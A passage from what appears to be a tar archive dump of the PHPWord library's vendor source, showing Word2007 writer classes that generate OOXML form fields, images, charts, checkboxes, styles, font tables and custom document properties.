        $xmlWriter->writeAttribute('xml:space', 'preserve');
        $xmlWriter->text("{$instruction}");
        $xmlWriter->endElement(); // w:instrText
        $xmlWriter->endElement(); // w:r

        $xmlWriter->startElement('w:r');
        $this->writeFontStyle();
        $xmlWriter->writeElementBlock('w:fldChar', 'w:fldCharType', 'separate');
        $xmlWriter->endElement(); // w:r

        $xmlWriter->startElement('w:r');
        $this->writeFontStyle();
        $xmlWriter->startElement('w:t');
        $xmlWriter->writeAttribute('xml:space', 'preserve');
        $this->writeText($value);
        $xmlWriter->endElement(); // w:t
        $xmlWriter->endElement(); // w:r

        $xmlWriter->startElement('w:r');
        $this->writeFontStyle();
        $xmlWriter->writeElementBlock('w:fldChar', 'w:fldCharType', 'end');
        $xmlWriter->endElement(); // w:r

        $this->endElementP(); // w:p
    }

    /**
     * Write textinput.
     *
     * @see  http://www.datypic.com/sc/ooxml/t-w_CT_FFTextInput.html
     */
    private function writeTextInput(XMLWriter $xmlWriter, FormFieldElement $element): void
    {
        $default = $element->getDefault();

        $xmlWriter->startElement('w:textInput');
        $xmlWriter->writeElementBlock('w:default', 'w:val', $default);
        $xmlWriter->endElement();
    }

    /**
     * Write checkbox.
     *
     * @see  http://www.datypic.com/sc/ooxml/t-w_CT_FFCheckBox.html
     */
    private function writeCheckBox(XMLWriter $xmlWriter, FormFieldElement $element): void
    {
        $default = $element->getDefault() ? 1 : 0;
        $value = $element->getValue();
        if ($value == null) {
            $value = $default;
        }
        $value = $value ? 1 : 0;

        $xmlWriter->startElement('w:checkBox');
        $xmlWriter->writeElementBlock('w:sizeAuto', 'w:val', '');
        $xmlWriter->writeElementBlock('w:default', 'w:val', $default);
        $xmlWriter->writeElementBlock('w:checked', 'w:val', $value);
        $xmlWriter->endElement();
    }

    /**
     * Write dropdown.
     *
     * @see  http://www.datypic.com/sc/ooxml/t-w_CT_FFDDList.html
     */
    private function writeDropDown(XMLWriter $xmlWriter, FormFieldElement $element): void
    {
        $default = $element->getDefault();
        $value = $element->getValue();
        if ($value == null) {
            $value = $default;
        }
        $entries = $element->getEntries();

        $xmlWriter->startElement('w:ddList');
        $xmlWriter->writeElementBlock('w:result', 'w:val', $value);
        $xmlWriter->writeElementBlock('w:default', 'w:val', $default);
        foreach ($entries as $entry) {
            if ($entry == null || $entry == '') {
                $entry = str_repeat(' ', self::FILLER_LENGTH);
            }
            $xmlWriter->writeElementBlock('w:listEntry', 'w:val', $entry);
        }
        $xmlWriter->endElement();
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/Word2007/Element/TableAlignment.php000066600000002607151150442730023344 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\Word2007\Element;

/**
 * @since 0.13.0
 */
class TableAlignment
{
    private $name = 'w:jc';

    private $attributes = [];

    /**
     * @since 0.13.0
     *
     * @param string $value Any value provided by JcTable simple type
     *
     * @see \PhpOffice\PhpWord\SimpleType\JcTable For the allowed values of $value parameter.
     */
    final public function __construct($value)
    {
        $this->attributes['w:val'] = $value;
    }

    /**
     * @since 0.13.0
     *
     * @return string
     */
    final public function getName()
    {
        return $this->name;
    }

    /**
     * @since 0.13.0
     *
     * @return string[]
     */
    final public function getAttributes()
    {
        return $this->attributes;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/Word2007/Element/Chart.php000066600000005043151150442730021514 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\Word2007\Element;

use PhpOffice\PhpWord\Element\Chart as ChartElement;

/**
 * Chart element writer.
 *
 * @since 0.12.0
 */
class Chart extends AbstractElement
{
    /**
     * Write element.
     */
    public function write(): void
    {
        $xmlWriter = $this->getXmlWriter();
        $element = $this->getElement();
        if (!$element instanceof ChartElement) {
            return;
        }

        $rId = $element->getRelationId();
        $style = $element->getStyle();

        if (!$this->withoutP) {
            $xmlWriter->startElement('w:p');
        }
        $this->writeCommentRangeStart();

        $xmlWriter->startElement('w:r');
        $xmlWriter->startElement('w:drawing');
        $xmlWriter->startElement('wp:inline');

        // EMU
        $xmlWriter->writeElementBlock('wp:extent', ['cx' => $style->getWidth(), 'cy' => $style->getHeight()]);
        $xmlWriter->writeElementBlock('wp:docPr', ['id' => $rId, 'name' => "Chart{$rId}"]);

        $xmlWriter->startElement('a:graphic');
        $xmlWriter->writeAttribute('xmlns:a', 'http://schemas.openxmlformats.org/drawingml/2006/main');
        $xmlWriter->startElement('a:graphicData');
        $xmlWriter->writeAttribute('uri', 'http://schemas.openxmlformats.org/drawingml/2006/chart');

        $xmlWriter->startElement('c:chart');
        $xmlWriter->writeAttribute('r:id', "rId{$rId}");
        $xmlWriter->writeAttribute('xmlns:c', 'http://schemas.openxmlformats.org/drawingml/2006/chart');
        $xmlWriter->writeAttribute('xmlns:r', 'http://schemas.openxmlformats.org/officeDocument/2006/relationships');
        $xmlWriter->endElement(); // c:chart

        $xmlWriter->endElement(); // a:graphicData
        $xmlWriter->endElement(); // a:graphic

        $xmlWriter->endElement(); // wp:inline
        $xmlWriter->endElement(); // w:drawing
        $xmlWriter->endElement(); // w:r

        $this->endElementP(); // w:p
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/Word2007/Element/Image.php000066600000010102151150442730021465 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\Word2007\Element;

use PhpOffice\PhpWord\Element\Image as ImageElement;
use PhpOffice\PhpWord\Shared\XMLWriter;
use PhpOffice\PhpWord\Style\Font as FontStyle;
use PhpOffice\PhpWord\Style\Frame as FrameStyle;
use PhpOffice\PhpWord\Writer\Word2007\Style\Font as FontStyleWriter;
use PhpOffice\PhpWord\Writer\Word2007\Style\Image as ImageStyleWriter;

/**
 * Image element writer.
 *
 * @since 0.10.0
 */
class Image extends AbstractElement
{
    /**
     * Write element.
     */
    public function write(): void
    {
        $xmlWriter = $this->getXmlWriter();
        $element = $this->getElement();
        if (!$element instanceof ImageElement) {
            return;
        }

        if ($element->isWatermark()) {
            $this->writeWatermark($xmlWriter, $element);
        } else {
            $this->writeImage($xmlWriter, $element);
        }
    }

    /**
     * Write image element.
     */
    private function writeImage(XMLWriter $xmlWriter, ImageElement $element): void
    {
        $rId = $element->getRelationId() + ($element->isInSection() ? 6 : 0);
        $style = $element->getStyle();
        $styleWriter = new ImageStyleWriter($xmlWriter, $style);

        if (!$this->withoutP) {
            $xmlWriter->startElement('w:p');
            $styleWriter->writeAlignment();
        }
        $this->writeCommentRangeStart();

        $xmlWriter->startElement('w:r');

        // Write position
        $position = $style->getPosition();
        if ($position && $style->getWrap() == FrameStyle::WRAP_INLINE) {
            $fontStyle = new FontStyle('text');
            $fontStyle->setPosition($position);
            $fontStyleWriter = new FontStyleWriter($xmlWriter, $fontStyle);
            $fontStyleWriter->write();
        }

        $xmlWriter->startElement('w:pict');
        $xmlWriter->startElement('v:shape');
        $xmlWriter->writeAttribute('type', '#_x0000_t75');
        $xmlWriter->writeAttribute('stroked', 'f');

        $styleWriter->write();

        $xmlWriter->startElement('v:imagedata');
        $xmlWriter->writeAttribute('r:id', 'rId' . $rId);
        $xmlWriter->writeAttribute('o:title', '');
        $xmlWriter->endElement(); // v:imagedata

        $xmlWriter->endElement(); // v:shape
        $xmlWriter->endElement(); // w:pict
        $xmlWriter->endElement(); // w:r

        $this->endElementP();
    }

    /**
     * Write watermark element.
     */
    private function writeWatermark(XMLWriter $xmlWriter, ImageElement $element): void
    {
        $rId = $element->getRelationId();
        $style = $element->getStyle();
        $style->setPositioning('absolute');
        $styleWriter = new ImageStyleWriter($xmlWriter, $style);

        if (!$this->withoutP) {
            $xmlWriter->startElement('w:p');
        }
        $xmlWriter->startElement('w:r');
        $xmlWriter->startElement('w:pict');
        $xmlWriter->startElement('v:shape');
        $xmlWriter->writeAttribute('type', '#_x0000_t75');
        $xmlWriter->writeAttribute('stroked', 'f');

        $styleWriter->write();

        $xmlWriter->startElement('v:imagedata');
        $xmlWriter->writeAttribute('r:id', 'rId' . $rId);
        $xmlWriter->writeAttribute('o:title', '');
        $xmlWriter->endElement(); // v:imagedata
        $xmlWriter->endElement(); // v:shape
        $xmlWriter->endElement(); // w:pict
        $xmlWriter->endElement(); // w:r
        if (!$this->withoutP) {
            $xmlWriter->endElement(); // w:p
        }
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/Word2007/Element/CheckBox.php000066600000006173151150442730022146 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\Word2007\Element;

/**
 * CheckBox element writer.
 *
 * @since 0.10.0
 */
class CheckBox extends Text
{
    /**
     * Write element.
     */
    public function write(): void
    {
        $xmlWriter = $this->getXmlWriter();
        $element = $this->getElement();
        if (!$element instanceof \PhpOffice\PhpWord\Element\CheckBox) {
            return;
        }

        $this->startElementP();

        $xmlWriter->startElement('w:r');
        $xmlWriter->startElement('w:fldChar');
        $xmlWriter->writeAttribute('w:fldCharType', 'begin');
        $xmlWriter->startElement('w:ffData');
        $xmlWriter->startElement('w:name');
        $xmlWriter->writeAttribute('w:val', $this->getText($element->getName()));
        $xmlWriter->endElement(); //w:name
        $xmlWriter->writeAttribute('w:enabled', '');
        $xmlWriter->startElement('w:calcOnExit');
        $xmlWriter->writeAttribute('w:val', '0');
        $xmlWriter->endElement(); //w:calcOnExit
        $xmlWriter->startElement('w:checkBox');
        $xmlWriter->writeAttribute('w:sizeAuto', '');
        $xmlWriter->startElement('w:default');
        $xmlWriter->writeAttribute('w:val', 0);
        $xmlWriter->endElement(); //w:default
        $xmlWriter->endElement(); //w:checkBox
        $xmlWriter->endElement(); // w:ffData
        $xmlWriter->endElement(); // w:fldChar
        $xmlWriter->endElement(); // w:r

        $xmlWriter->startElement('w:r');
        $xmlWriter->startElement('w:instrText');
        $xmlWriter->writeAttribute('xml:space', 'preserve');
        $xmlWriter->text(' FORMCHECKBOX ');
        $xmlWriter->endElement(); // w:instrText
        $xmlWriter->endElement(); // w:r
        $xmlWriter->startElement('w:r');
        $xmlWriter->startElement('w:fldChar');
        $xmlWriter->writeAttribute('w:fldCharType', 'separate');
        $xmlWriter->endElement(); // w:fldChar
        $xmlWriter->endElement(); // w:r
        $xmlWriter->startElement('w:r');
        $xmlWriter->startElement('w:fldChar');
        $xmlWriter->writeAttribute('w:fldCharType', 'end');
        $xmlWriter->endElement(); // w:fldChar
        $xmlWriter->endElement(); // w:r

        $xmlWriter->startElement('w:r');

        $this->writeFontStyle();

        $xmlWriter->startElement('w:t');
        $xmlWriter->writeAttribute('xml:space', 'preserve');
        $this->writeText($this->getText($element->getText()));
        $xmlWriter->endElement(); // w:t
        $xmlWriter->endElement(); // w:r

        $this->endElementP(); // w:p
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/Word2007/Part/Header.php000066600000001560151150442730021160 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\Word2007\Part;

/**
 * Word2007 header part writer: word/headerx.xml.
 */
class Header extends Footer
{
    /**
     * Root element name.
     *
     * @var string
     */
    protected $rootElement = 'w:hdr';
}
vendor/phpoffice/phpword/src/PhpWord/Writer/Word2007/Part/Styles.php000066600000025035151150442730021256 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\Word2007\Part;

use PhpOffice\PhpWord\Shared\XMLWriter;
use PhpOffice\PhpWord\Style;
use PhpOffice\PhpWord\Style\Font as FontStyle;
use PhpOffice\PhpWord\Style\Paragraph as ParagraphStyle;
use PhpOffice\PhpWord\Style\Table as TableStyle;
use PhpOffice\PhpWord\Writer\Word2007\Style\Font as FontStyleWriter;
use PhpOffice\PhpWord\Writer\Word2007\Style\Paragraph as ParagraphStyleWriter;
use PhpOffice\PhpWord\Writer\Word2007\Style\Table as TableStyleWriter;

/**
 * Word2007 styles part writer: word/styles.xml.
 *
 * @todo Do something with the numbering style introduced in 0.10.0
 *
 * @SuppressWarnings(PHPMD.UnusedPrivateMethod) For writeFontStyle, writeParagraphStyle, and writeTableStyle
 */
class Styles extends AbstractPart
{
    /**
     * Write part.
     *
     * @return string
     */
    public function write()
    {
        $xmlWriter = $this->getXmlWriter();

        $xmlWriter->startDocument('1.0', 'UTF-8', 'yes');
        $xmlWriter->startElement('w:styles');
        $xmlWriter->writeAttribute('xmlns:r', 'http://schemas.openxmlformats.org/officeDocument/2006/relationships');
        $xmlWriter->writeAttribute('xmlns:w', 'http://schemas.openxmlformats.org/wordprocessingml/2006/main');

        // Write default styles
        $styles = Style::getStyles();
        $this->writeDefaultStyles($xmlWriter, $styles);

        // Write styles
        if (count($styles) > 0) {
            foreach ($styles as $styleName => $style) {
                if ($styleName == 'Normal') {
                    continue;
                }

                // Get style class and execute if the private method exists
                $styleClass = substr(get_class($style), strrpos(get_class($style), '\\') + 1);
                $method = "write{$styleClass}Style";
                if (method_exists($this, $method)) {
                    $this->$method($xmlWriter, $styleName, $style);
                }
            }
        }

        $xmlWriter->endElement(); // w:styles

        return $xmlWriter->getData();
    }

    /**
     * Write default font and other default styles.
     *
     * @param \PhpOffice\PhpWord\Style\AbstractStyle[] $styles
     */
    private function writeDefaultStyles(XMLWriter $xmlWriter, $styles): void
    {
        $phpWord = $this->getParentWriter()->getPhpWord();
        $fontName = $phpWord->getDefaultFontName();
        $fontSize = $phpWord->getDefaultFontSize();
        $language = $phpWord->getSettings()->getThemeFontLang();
        $latinLanguage = ($language == null || $language->getLatin() === null) ? 'en-US' : $language->getLatin();

        // Default font
        $xmlWriter->startElement('w:docDefaults');
        $xmlWriter->startElement('w:rPrDefault');
        $xmlWriter->startElement('w:rPr');
        $xmlWriter->startElement('w:rFonts');
        $xmlWriter->writeAttribute('w:ascii', $fontName);
        $xmlWriter->writeAttribute('w:hAnsi', $fontName);
        $xmlWriter->writeAttribute('w:eastAsia', $fontName);
        $xmlWriter->writeAttribute('w:cs', $fontName);
        $xmlWriter->endElement(); // w:rFonts
        $xmlWriter->startElement('w:sz');
        $xmlWriter->writeAttribute('w:val', $fontSize * 2);
        $xmlWriter->endElement(); // w:sz
        $xmlWriter->startElement('w:szCs');
        $xmlWriter->writeAttribute('w:val', $fontSize * 2);
        $xmlWriter->endElement(); // w:szCs
        $xmlWriter->startElement('w:lang');
        $xmlWriter->writeAttribute('w:val', $latinLanguage);
        if ($language != null) {
            $xmlWriter->writeAttributeIf($language->getEastAsia() !== null, 'w:eastAsia', $language->getEastAsia());
            $xmlWriter->writeAttributeIf($language->getBidirectional() !== null, 'w:bidi', $language->getBidirectional());
        }
        $xmlWriter->endElement(); // w:lang
        $xmlWriter->endElement(); // w:rPr
        $xmlWriter->endElement(); // w:rPrDefault
        $xmlWriter->endElement(); // w:docDefaults

        // Normal style
        $xmlWriter->startElement('w:style');
        $xmlWriter->writeAttribute('w:type', 'paragraph');
        $xmlWriter->writeAttribute('w:default', '1');
        $xmlWriter->writeAttribute('w:styleId', 'Normal');
        $xmlWriter->startElement('w:name');
        $xmlWriter->writeAttribute('w:val', 'Normal');
        $xmlWriter->endElement(); // w:name
        if (isset($styles['Normal'])) {
            $normalStyle = $styles['Normal'];
            // w:pPr
            if ($normalStyle instanceof Fontstyle && $normalStyle->getParagraph() != null) {
                $styleWriter = new ParagraphStyleWriter($xmlWriter, $normalStyle->getParagraph());
                $styleWriter->write();
            } elseif ($normalStyle instanceof ParagraphStyle) {
                $styleWriter = new ParagraphStyleWriter($xmlWriter, $normalStyle);
                $styleWriter->write();
            }

            // w:rPr
            $styleWriter = new FontStyleWriter($xmlWriter, $normalStyle);
            $styleWriter->write();
        }
        $xmlWriter->endElement(); // w:style

        // FootnoteReference style
        if (!isset($styles['FootnoteReference'])) {
            $xmlWriter->startElement('w:style');
            $xmlWriter->writeAttribute('w:type', 'character');
            $xmlWriter->writeAttribute('w:styleId', 'FootnoteReference');
            $xmlWriter->startElement('w:name');
            $xmlWriter->writeAttribute('w:val', 'Footnote Reference');
            $xmlWriter->endElement(); // w:name
            $xmlWriter->writeElement('w:semiHidden');
            $xmlWriter->writeElement('w:unhideWhenUsed');
            $xmlWriter->startElement('w:rPr');
            $xmlWriter->startElement('w:vertAlign');
            $xmlWriter->writeAttribute('w:val', 'superscript');
            $xmlWriter->endElement(); // w:vertAlign
            $xmlWriter->endElement(); // w:rPr
            $xmlWriter->endElement(); // w:style
        }
    }

    /**
     * Write font style.
     *
     * @param string $styleName
     */
    private function writeFontStyle(XMLWriter $xmlWriter, $styleName, FontStyle $style): void
    {
        $paragraphStyle = $style->getParagraph();
        $styleType = $style->getStyleType();
        $type = ($styleType == 'title') ? 'paragraph' : 'character';
        if (null !== $paragraphStyle) {
            $type = 'paragraph';
        }

        $xmlWriter->startElement('w:style');
        $xmlWriter->writeAttribute('w:type', $type);

        // Heading style
        if ($styleType == 'title') {
            $arrStyle = explode('_', $styleName);
            if (count($arrStyle) > 1) {
                $styleId = 'Heading' . $arrStyle[1];
                $styleName = 'heading ' . $arrStyle[1];
                $styleLink = 'Heading' . $arrStyle[1] . 'Char';
            } else {
                $styleId = $styleName;
                $styleName = strtolower($styleName);
                $styleLink = $styleName . 'Char';
            }
            $xmlWriter->writeAttribute('w:styleId', $styleId);

            $xmlWriter->startElement('w:link');
            $xmlWriter->writeAttribute('w:val', $styleLink);
            $xmlWriter->endElement();
        } elseif (null !== $paragraphStyle) {
            // if type is 'paragraph' it should have a styleId
            $xmlWriter->writeAttribute('w:styleId', $styleName);
        }

        // Style name
        $xmlWriter->startElement('w:name');
        $xmlWriter->writeAttribute('w:val', $styleName);
        $xmlWriter->endElement();

        // Parent style
        if (null !== $paragraphStyle) {
            if ($paragraphStyle->getStyleName() != null) {
                $xmlWriter->writeElementBlock('w:basedOn', 'w:val', $paragraphStyle->getStyleName());
            } elseif ($paragraphStyle->getBasedOn() != null) {
                $xmlWriter->writeElementBlock('w:basedOn', 'w:val', $paragraphStyle->getBasedOn());
            }
        }

        // w:pPr
        if (null !== $paragraphStyle) {
            $styleWriter = new ParagraphStyleWriter($xmlWriter, $paragraphStyle);
            $styleWriter->write();
        }

        // w:rPr
        $styleWriter = new FontStyleWriter($xmlWriter, $style);
        $styleWriter->write();

        $xmlWriter->endElement();
    }

    /**
     * Write paragraph style.
     *
     * @param string $styleName
     */
    private function writeParagraphStyle(XMLWriter $xmlWriter, $styleName, ParagraphStyle $style): void
    {
        $xmlWriter->startElement('w:style');
        $xmlWriter->writeAttribute('w:type', 'paragraph');
        $xmlWriter->writeAttribute('w:customStyle', '1');
        $xmlWriter->writeAttribute('w:styleId', $styleName);
        $xmlWriter->startElement('w:name');
        $xmlWriter->writeAttribute('w:val', $styleName);
        $xmlWriter->endElement();

        // Parent style
        $basedOn = $style->getBasedOn();
        $xmlWriter->writeElementIf(null !== $basedOn, 'w:basedOn', 'w:val', $basedOn);

        // Next paragraph style
        $next = $style->getNext();
        $xmlWriter->writeElementIf(null !== $next, 'w:next', 'w:val', $next);

        // w:pPr
        $styleWriter = new ParagraphStyleWriter($xmlWriter, $style);
        $styleWriter->write();

        $xmlWriter->endElement();
    }

    /**
     * Write table style.
     *
     * @param string $styleName
     */
    private function writeTableStyle(XMLWriter $xmlWriter, $styleName, TableStyle $style): void
    {
        $xmlWriter->startElement('w:style');
        $xmlWriter->writeAttribute('w:type', 'table');
        $xmlWriter->writeAttribute('w:customStyle', '1');
        $xmlWriter->writeAttribute('w:styleId', $styleName);
        $xmlWriter->startElement('w:name');
        $xmlWriter->writeAttribute('w:val', $styleName);
        $xmlWriter->endElement();
        $xmlWriter->startElement('w:uiPriority');
        $xmlWriter->writeAttribute('w:val', '99');
        $xmlWriter->endElement();

        $styleWriter = new TableStyleWriter($xmlWriter, $style);
        $styleWriter->write();

        $xmlWriter->endElement(); // w:style
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/Word2007/Part/FontTable.php000066600000011226151150442730021646 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\Word2007\Part;

/**
 * Word2007 font table writer: word/fontTable.xml.
 *
 * @todo Generate content dynamically
 *
 * @since 0.10.0
 */
class FontTable extends AbstractPart
{
    /**
     * Write fontTable.xml.
     *
     * @return string
     */
    public function write()
    {
        $str = '';
        $str .= '<?xml version="1.0" encoding="UTF-8" standalone="yes"?>';
        $str .= '<w:fonts ' .
            'xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" ' .
            'xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main">';

        $str .= '<w:font w:name="Times New Roman">';
        $str .= '<w:panose1 w:val="02020603050405020304" />';
        $str .= '<w:charset w:val="00" />';
        $str .= '<w:family w:val="roman" />';
        $str .= '<w:pitch w:val="variable" />';
        $str .= '<w:sig w:usb0="E0002AFF" w:usb1="C0007841" w:usb2="00000009" w:usb3="00000000" ' .
            'w:csb0="000001FF" w:csb1="00000000" />';
        $str .= '</w:font>';

        $str .= '<w:font w:name="Courier New">';
        $str .= '<w:panose1 w:val="02070309020205020404" />';
        $str .= '<w:charset w:val="00" />';
        $str .= '<w:family w:val="modern" />';
        $str .= '<w:pitch w:val="fixed" />';
        $str .= '<w:sig w:usb0="E0002AFF" w:usb1="C0007843" w:usb2="00000009" w:usb3="00000000" ' .
            'w:csb0="000001FF" w:csb1="00000000" />';
        $str .= '</w:font>';

        $str .= '<w:font w:name="Wingdings">';
        $str .= '<w:panose1 w:val="05000000000000000000" />';
        $str .= '<w:charset w:val="02" />';
        $str .= '<w:family w:val="auto" />';
        $str .= '<w:pitch w:val="variable" />';
        $str .= '<w:sig w:usb0="00000000" w:usb1="10000000" w:usb2="00000000" w:usb3="00000000" ' .
            'w:csb0="80000000" w:csb1="00000000" />';
        $str .= '</w:font>';

        $str .= '<w:font w:name="Symbol">';
        $str .= '<w:panose1 w:val="05050102010706020507" />';
        $str .= '<w:charset w:val="02" />';
        $str .= '<w:family w:val="roman" />';
        $str .= '<w:pitch w:val="variable" />';
        $str .= '<w:sig w:usb0="00000000" w:usb1="10000000" w:usb2="00000000" w:usb3="00000000" ' .
            'w:csb0="80000000" w:csb1="00000000" />';
        $str .= '</w:font>';

        $str .= '<w:font w:name="Arial">';
        $str .= '<w:panose1 w:val="020B0604020202020204" />';
        $str .= '<w:charset w:val="00" />';
        $str .= '<w:family w:val="swiss" />';
        $str .= '<w:pitch w:val="variable" />';
        $str .= '<w:sig w:usb0="E0002AFF" w:usb1="C0007843" w:usb2="00000009" w:usb3="00000000" ' .
            'w:csb0="000001FF" w:csb1="00000000" />';
        $str .= '</w:font>';

        $str .= '<w:font w:name="Cambria">';
        $str .= '<w:panose1 w:val="02040503050406030204" />';
        $str .= '<w:charset w:val="00" />';
        $str .= '<w:family w:val="roman" />';
        $str .= '<w:pitch w:val="variable" />';
        $str .= '<w:sig w:usb0="A00002EF" w:usb1="4000004B" w:usb2="00000000" w:usb3="00000000" ' .
            'w:csb0="0000019F" w:csb1="00000000" />';
        $str .= '</w:font>';

        $str .= '<w:font w:name="Calibri">';
        $str .= '<w:panose1 w:val="020F0502020204030204" />';
        $str .= '<w:charset w:val="00" />';
        $str .= '<w:family w:val="swiss" />';
        $str .= '<w:pitch w:val="variable" />';
        $str .= '<w:sig w:usb0="E10002FF" w:usb1="4000ACFF" w:usb2="00000009" w:usb3="00000000" ' .
            'w:csb0="0000019F" w:csb1="00000000" />';
        $str .= '</w:font>';

        $str .= '<w:font w:name="Garamond">';
        $str .= '<w:panose1 w:val="02020404030301010803" />';
        $str .= '<w:charset w:val="00" />';
        $str .= '<w:family w:val="roman" />';
        $str .= '<w:pitch w:val="variable" />';
        $str .= '<w:sig w:usb0="00000287" w:usb1="00000002" w:usb2="00000000" w:usb3="00000000" ' .
            'w:csb0="0000009F" w:csb1="00000000" />';
        $str .= '</w:font>';

        $str .= '</w:fonts>';

        return $str;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/Word2007/Part/DocPropsCustom.php000066600000005772151150442730022725 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\Word2007\Part;

use DateTime;

/**
 * Word2007 custom document properties part writer: docProps/custom.xml.
 *
 * @since 0.11.0
 */
class DocPropsCustom extends AbstractPart
{
    /**
     * Write part.
     *
     * @return string
     */
    public function write()
    {
        $phpWord = $this->getParentWriter()->getPhpWord();
        $xmlWriter = $this->getXmlWriter();

        $xmlWriter->startDocument('1.0', 'UTF-8', 'yes');
        $xmlWriter->startElement('Properties');
        $xmlWriter->writeAttribute('xmlns', 'http://schemas.openxmlformats.org/officeDocument/2006/custom-properties');
        $xmlWriter->writeAttribute('xmlns:vt', 'http://schemas.openxmlformats.org/officeDocument/2006/docPropsVTypes');

        $docProps = $phpWord->getDocInfo();
        $properties = $docProps->getCustomProperties();
        foreach ($properties as $key => $property) {
            $propertyValue = $docProps->getCustomPropertyValue($property);
            $propertyType = $docProps->getCustomPropertyType($property);

            $xmlWriter->startElement('property');
            $xmlWriter->writeAttribute('fmtid', '{D5CDD505-2E9C-101B-9397-08002B2CF9AE}');
            $xmlWriter->writeAttribute('pid', $key + 2);
            $xmlWriter->writeAttribute('name', $property);
            switch ($propertyType) {
                case 'i':
                    $xmlWriter->writeElement('vt:i4', $propertyValue);

                    break;
                case 'f':
                    $xmlWriter->writeElement('vt:r8', $propertyValue);

                    break;
                case 'b':
                    $xmlWriter->writeElement('vt:bool', ($propertyValue) ? 'true' : 'false');

                    break;
                case 'd':
                    if ($propertyValue instanceof DateTime) {
                        $xmlWriter->writeElement('vt:filetime', $propertyValue->format($this->dateFormat));
                    } else {
                        $xmlWriter->writeElement('vt:filetime', date($this->dateFormat, $propertyValue));
                    }

                    break;
                default:
                    $xmlWriter->writeElement('vt:lpwstr', $propertyValue);

                    break;
            }
            $xmlWriter->endElement(); // property
        }

        $xmlWriter->endElement(); // Properties

        return $xmlWriter->getData();
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/Word2007/Part/Numbering.php000066600000015541151150442730021722 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
